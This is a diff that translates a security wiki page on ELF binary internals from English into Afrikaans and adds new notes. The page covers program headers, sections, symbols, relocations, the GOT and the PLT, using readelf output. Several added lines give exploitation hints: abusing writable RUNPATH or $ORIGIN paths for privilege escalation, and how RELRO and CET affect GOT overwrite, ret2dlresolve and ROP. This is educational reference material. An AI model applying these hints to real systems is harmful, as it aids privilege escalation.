- 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
- 03 .init_array .fini_array .dynamic .got .data .bss
- 04 .dynamic
- 05 .note.gnu.build-id .note.ABI-tag .note.package
- 06 .eh_frame_hdr
- 07
- 08 .init_array .fini_array .dynamic .got
+Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
+PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
+INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
+[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
+LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
+LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
+DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
+NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
+GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
+GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
+GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
+
+Section to Segment mapping:
+Segment Sections...
+00
+01 .interp
+02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
+03 .init_array .fini_array .dynamic .got .data .bss
+04 .dynamic
+05 .note.gnu.build-id .note.ABI-tag .note.package
+06 .eh_frame_hdr
+07
+08 .init_array .fini_array .dynamic .got
```
-
-The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
+Die vorige program het **9 program headers**, waarna die **segment mapping** aandui in watter program header (van 00 tot 08) **elke section geleë is**.
### PHDR - Program HeaDeR
-Contains the program header tables and metadata itself.
+Bevat die program header-tabelle en die metadata self.
### INTERP
-Indicates the path of the loader to use to load the binary into memory.
+Dui die pad aan van die loader wat gebruik moet word om die binary in memory te laai.
+
+> Tip: Statically linked of static-PIE binaries sal nie ’n `INTERP`-entry hê nie. In daardie gevalle is daar geen dynamic loader betrokke nie, wat tegnieke deaktiveer wat daarvan afhanklik is (bv. `ret2dlresolve`).
### LOAD
-These headers are used to indicate **how to load a binary into memory.**\
-Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
+Hierdie headers word gebruik om aan te dui **hoe om ’n binary in memory te laai.**\
+Elke **LOAD**-header dui ’n streek van **memory** aan (grootte, permissions en alignment) en dui die bytes van die ELF-**binary** aan wat daarheen gekopieer moet word.
-For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
+Byvoorbeeld, die tweede een het ’n grootte van 0x1190, moet by 0x1fc48 geleë wees met read- en write-permissions, en sal gevul word met 0x528 vanaf die offset 0xfc48 (dit vul nie al die gereserveerde space nie). Hierdie memory sal die sections `.init_array .fini_array .dynamic .got .data .bss` bevat.
### DYNAMIC
-This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
+Hierdie header help om programme aan hul library dependencies te link en relocations toe te pas. Sien die **`.dynamic`**-section.
### NOTE
-This stores vendor metadata information about the binary.
+Dit stoor vendor-metadata-inligting oor die binary.
+
+- Op x86-64 sal `readelf -n` `GNU_PROPERTY_X86_FEATURE_1_*`-flags binne `.note.gnu.property` wys. As jy `IBT` en/of `SHSTK` sien, is die binary met CET (Indirect Branch Tracking en/of Shadow Stack) gebou. Dit beïnvloed ROP/JOP omdat indirect branch-teikens met ’n `ENDBR64`-instruction moet begin en returns teen ’n shadow stack nagegaan word. Sien die CET-page vir besonderhede en bypass-notas.
+
+
+{{#ref}}
+../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
+{{#endref}}
### GNU_EH_FRAME
-Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
+Definieer die ligging van die stack unwind-tabelle, wat deur debuggers en C++ exception handling-runtime-funksies gebruik word.
### GNU_STACK
-Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
+Bevat die configuration van die stack execution prevention-defense. Indien dit enabled is, sal die binary nie code vanaf die stack kan execute nie.
+
+- Kontroleer met `readelf -l ./bin | grep GNU_STACK`. Om dit tydens tests geforseerd te toggle, kan jy `execstack -s|-c ./bin` gebruik.
### GNU_RELRO
-Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
+Dui die RELRO (Relocation Read-Only)-configuration van die binary aan. Hierdie protection sal sekere sections van die memory (soos die `GOT` of die `init`- en `fini`-tabelle) as read-only merk nadat die program gelaai is en voordat dit begin run.
+
+In die vorige voorbeeld kopieer dit 0x3b8 bytes na 0x1fc48 as read-only, wat die sections `.init_array .fini_array .dynamic .got .data .bss` beïnvloed.
+
+Let daarop dat RELRO partial of full kan wees; die partial-weergawe beskerm nie die section **`.plt.got`** nie, wat vir **lazy binding** gebruik word en hierdie memory space met **write-permissions** moet hê om die address van die libraries te skryf wanneer hul ligging die eerste keer gesoek word.
-In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
+> Vir exploitation-tegnieke en bygewerkte bypass-notas, sien die toegewyde page:
-Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
+
+{{#ref}}
+../common-binary-protections-and-bypasses/relro.md
+{{#endref}}
### TLS
-Defines a table of TLS entries, which stores info about thread-local variables.
+Definieer ’n tabel van TLS-entries wat inligting oor thread-local variables stoor.
## Section Headers
-Section headers gives a more detailed view of the ELF binary
-
+Section headers gee ’n meer gedetailleerde oorsig van die ELF-binary.
```
objdump lnstat -h
@@ -95,159 +110,179 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
- 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
- CONTENTS, ALLOC, LOAD, READONLY, CODE
- 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
- CONTENTS, ALLOC, LOAD, DATA
- 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
- ALLOC
- 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
- CONTENTS, READONLY
- 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
- CONTENTS, READONLY
+0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
+CONTENTS, ALLOC, LOAD, READONLY, CODE
+15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
+CONTENTS, ALLOC, LOAD, READONLY, DATA
+18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
+CONTENTS, ALLOC, LOAD, DATA
+19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
+CONTENTS, ALLOC, LOAD, DATA
+20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
+CONTENTS, ALLOC, LOAD, DATA
+21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
+CONTENTS, ALLOC, LOAD, DATA
+22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
+CONTENTS, ALLOC, LOAD, DATA
+23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
+ALLOC
+24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
+CONTENTS, READONLY
+25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
+CONTENTS, READONLY
```
+Dit dui ook die ligging, offset, permissions, maar ook die **tipe data** aan wat die afdeling bevat.
-It also indicates the location, offset, permissions but also the **type of data** it section has.
-
-### Meta Sections
+### Meta-afdelings
-- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- - In order to find where the string table is, the ELF contains a pointer to the string table.
-- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
+- **String table**: Dit bevat al die strings wat deur die ELF-lêer benodig word (maar nie dié wat werklik deur die program gebruik word nie). Dit bevat byvoorbeeld afdelingname soos `.text` of `.data`. As `.text` by offset 45 in die strings table is, sal dit die nommer **45** in die **name**-veld gebruik.
+- Om uit te vind waar die string table is, bevat die ELF 'n pointer na die string table.
+- **Symbol table**: Dit bevat inligting oor die symbols, soos die naam (offset in die strings table), adres, grootte en meer metadata oor die symbol.
-### Main Sections
+### Hoofafdelings
-- **`.text`**: The instruction of the program to run.
-- **`.data`**: Global variables with a defined value in the program.
-- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
-- **`.rodata`**: Constant global variables (read-only section).
-- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
-- **`.dynamic`**: See below.
+- **`.text`**: Die instruksies van die program wat uitgevoer moet word.
+- **`.data`**: Global variables met 'n gedefinieerde waarde in die program.
+- **`.bss`**: Global variables wat ongeïnitialiseer gelaat is (of met nul geïnitialiseer is). Die loader initialiseer hierdie afdeling na nul, wat onnodige nul-bytes in die binary vermy.
+- **`.rodata`**: Konstante global variables (read-only-afdeling).
+- **`.tdata`** en **`.tbss`**: Soos die .data en .bss wanneer thread-local variables gebruik word (`__thread_local` in C++ of `__thread` in C).
+- **`.dynamic`**: Sien hieronder.
-## Symbols
-
-Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
+## Simbole
+Simbole is 'n benoemde ligging in die program wat 'n funksie, 'n global data object, thread-local variables... kan wees.
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
- Num: Value Size Type Bind Vis Ndx Name
- 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
- 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
- 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
- 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
- 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
- 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
- 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
- 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
- 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
- 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
- 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
- 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
- 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
- [...]
+Num: Value Size Type Bind Vis Ndx Name
+0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
+1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
+2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
+3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
+4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
+5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
+6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
+7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
+8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
+9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
+10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
+11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
+12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
+[...]
```
+Elke simboolinskrywing bevat:
-Each symbol entry contains:
+- **Naam**
+- **Binding attributes** (weak, local of global): ’n local-simbool kan slegs deur die program self verkry word, terwyl die global-simbool buite die program gedeel word. ’n weak object is byvoorbeeld ’n funksie wat deur ’n ander funksie oorskryf kan word.
+- **Tipe**: NOTYPE (geen tipe gespesifiseer nie), OBJECT (global data var), FUNC (funksie), SECTION (afdeling), FILE (source-code-lêer vir debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function vir relocation)
+- **Section**-indeks waar dit geleë is
+- **Value** (adres in memory)
+- **Grootte**
-- **Name**
-- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
-- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
-- **Section** index where it's located
-- **Value** (address sin memory)
-- **Size**
+#### GNU IFUNC (indirecte funksies)
-## Dynamic Section
+- GCC kan `STT_GNU_IFUNC`-simbole genereer met die `__attribute__((ifunc("resolver")))`-uitbreiding. Die dynamic loader roep die resolver tydens laaityd aan om die konkrete implementering te kies (gewoonlik CPU dispatch).[[1]](#references)
+- Vinnige triage: `readelf -sW ./bin | rg -i "IFUNC"`
+
+#### GNU Symbol Versioning (dynsym/dynstr/gnu.version)
+Moderne glibc gebruik simboolweergawes. Jy sal inskrywings in `.gnu.version` en `.gnu.version_r` sien, asook simboolname soos `strlen@GLIBC_2.17`. Die dynamic linker kan ’n spesifieke weergawe vereis wanneer ’n simbool opgelos word. Wanneer jy manual relocations saamstel (bv. ret2dlresolve), moet jy die korrekte weergawe-indeks verskaf; anders misluk die resolution.
+
+## Dynamic Section
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
- Tag Type Name/Value
- 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
- 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
- 0x000000000000000c (INIT) 0x1088
- 0x000000000000000d (FINI) 0x2f74
- 0x0000000000000019 (INIT_ARRAY) 0x1fc48
- 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
- 0x000000000000001a (FINI_ARRAY) 0x1fc50
- 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
- 0x000000006ffffef5 (GNU_HASH) 0x338
- 0x0000000000000005 (STRTAB) 0x7f0
- 0x0000000000000006 (SYMTAB) 0x358
- 0x000000000000000a (STRSZ) 510 (bytes)
- 0x000000000000000b (SYMENT) 24 (bytes)
- 0x0000000000000015 (DEBUG) 0x0
- 0x0000000000000003 (PLTGOT) 0x1fe58
- 0x0000000000000002 (PLTRELSZ) 960 (bytes)
- 0x0000000000000014 (PLTREL) RELA
- 0x0000000000000017 (JMPREL) 0xcc8
- 0x0000000000000007 (RELA) 0xaa0
- 0x0000000000000008 (RELASZ) 552 (bytes)
- 0x0000000000000009 (RELAENT) 24 (bytes)
- 0x000000000000001e (FLAGS) BIND_NOW
- 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
- 0x000000006ffffffe (VERNEED) 0xa50
- 0x000000006fffffff (VERNEEDNUM) 2
- 0x000000006ffffff0 (VERSYM) 0x9ee
- 0x000000006ffffff9 (RELACOUNT) 15
- 0x0000000000000000 (NULL) 0x0
+Tag Type Name/Value
+0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
+0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
+0x000000000000000c (INIT) 0x1088
+0x000000000000000d (FINI) 0x2f74
+0x0000000000000019 (INIT_ARRAY) 0x1fc48
+0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
+0x000000000000001a (FINI_ARRAY) 0x1fc50
+0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
+0x000000006ffffef5 (GNU_HASH) 0x338
+0x0000000000000005 (STRTAB) 0x7f0
+0x0000000000000006 (SYMTAB) 0x358
+0x000000000000000a (STRSZ) 510 (bytes)
+0x000000000000000b (SYMENT) 24 (bytes)
+0x0000000000000015 (DEBUG) 0x0
+0x0000000000000003 (PLTGOT) 0x1fe58
+0x0000000000000002 (PLTRELSZ) 960 (bytes)
+0x0000000000000014 (PLTREL) RELA
+0x0000000000000017 (JMPREL) 0xcc8
+0x0000000000000007 (RELA) 0xaa0
+0x0000000000000008 (RELASZ) 552 (bytes)
+0x0000000000000009 (RELAENT) 24 (bytes)
+0x000000000000001e (FLAGS) BIND_NOW
+0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
+0x000000006ffffffe (VERNEED) 0xa50
+0x000000006fffffff (VERNEEDNUM) 2
+0x000000006ffffff0 (VERSYM) 0x9ee
+0x000000006ffffff9 (RELACOUNT) 15
+0x0000000000000000 (NULL) 0x0
```
+Die NEEDED-gids dui aan dat die program **die genoemde library moet laai** om voort te gaan. Die NEEDED-gids is volledig sodra die shared **library ten volle operasioneel en gereed** is vir gebruik.
+
+### Soekorde van die dynamic loader (RPATH/RUNPATH, $ORIGIN)
-The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
+Die inskrywings `DT_RPATH` (deprecated) en/of `DT_RUNPATH` beïnvloed waar die dynamic loader vir dependencies soek. Benaderde volgorde:[[3]](#references)
-## Relocations
+- `LD_LIBRARY_PATH` (geïgnoreer vir setuid/sgid of andersins "secure-execution"-programme)
+- `DT_RPATH` (slegs indien `DT_RUNPATH` afwesig is)
+- `DT_RUNPATH`
+- `ld.so.cache`
+- verstekgidse soos `/lib64`, `/usr/lib64`, ens.
-The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
+`$ORIGIN` kan binne RPATH/RUNPATH gebruik word om na die gids van die hoofobjek te verwys. Vanuit ’n attacker-perspektief is dit belangrik wanneer jy die filesystem-uitleg of omgewing beheer. Vir hardened binaries (AT_SECURE) word die meeste environment variables deur die loader geïgnoreer.
+- Inspekteer met: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
+- Vinnige toets: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (toon besluite oor die search path)
+
+> Priv-esc-wenk: Verkies om writable RUNPATHs of verkeerd gekonfigureerde `$ORIGIN`-relatiewe paths wat deur jou besit word, te misbruik. LD_PRELOAD/LD_AUDIT word in secure-execution- (setuid-) kontekste geïgnoreer.
+
+## Relokasies
+
+Die loader moet ook dependencies relocate nadat dit gelaai is. Hierdie relokasies word in die relocation table in REL- of RELA-formate aangedui, en die aantal relokasies word in die dinamiese seksies RELSZ of RELASZ gegee.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
- Offset Info Type Sym. Value Sym. Name + Addend
+Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@@ -273,7 +308,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
- Offset Info Type Sym. Value Sym. Name + Addend
+Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@@ -283,7 +318,6 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
-00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
@@ -315,82 +349,142 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
+#### Gepakte relative relocations (RELR)
-### Static Relocations
+- Moderne linkers kan kompakte **relative** relocations met `-z pack-relative-relocs` genereer. Dit voeg `DT_RELR`, `DT_RELRSZ` en `DT_RELRENT`-inskrywings by die dynamic section vir PIE's/shared libraries (dit word vir nie-PIE executables geïgnoreer).[[2]](#references)
+- Recon: `readelf -d ./bin | egrep -i "DT_RELR|RELRSZ|RELRENT"`
-If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
+### Statiese Relocations
-For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
+As die **program op 'n ander plek gelaai word** as die voorkeuradres (gewoonlik 0x400000), omdat die adres reeds gebruik word of weens **ASLR** of enige ander rede, **korrigeer** 'n statiese relocation pointers wat waardes gehad het wat verwag het dat die binary by die voorkeuradres gelaai sou word.
-### Dynamic Relocations and GOT
+Byvoorbeeld, enige section van die tipe `R_AARCH64_RELATIV` behoort die adres by die relocation bias plus die addend-waarde te wysig.
-The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
+### Dynamic Relocations en GOT
+
+Die relocation kan ook na 'n external symbol verwys (soos 'n funksie van 'n dependency), byvoorbeeld die funksie malloc van libC. Wanneer die loader libC laai en nagaan waar die malloc-funksie gelaai is, skryf dit hierdie adres in die GOT (Global Offset Table)-tabel, soos aangedui in die relocation table, waar die adres van malloc gespesifiseer behoort te word.
### Procedure Linkage Table
-The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
+Die PLT-section laat lazy binding toe, wat beteken dat die resolution van die ligging van 'n funksie uitgevoer word die eerste keer wat dit geaccess word.
+
+Wanneer 'n program dus malloc aanroep, roep dit eintlik die ooreenstemmende ligging van `malloc` in die PLT aan (`malloc@plt`). Die eerste keer wat dit aangeroep word, resolve dit die adres van `malloc` en stoor dit, sodat daardie adres gebruik word in plaas van die PLT-code wanneer `malloc` die volgende keer aangeroep word.
+
+#### Moderne linking-gedrag wat exploitation beïnvloed
-So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
+- `-z now` (Full RELRO) deaktiveer lazy binding; PLT-entries bestaan steeds, maar GOT/PLT word read-only gemap, dus sal tegnieke soos **GOT overwrite** en **ret2dlresolve** nie teen die hoof-binary werk nie (libraries kan steeds gedeeltelike RELRO hê). Sien:
-## Program Initialization
-After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
+{{#ref}}
+../common-binary-protections-and-bypasses/relro.md
+{{#endref}}
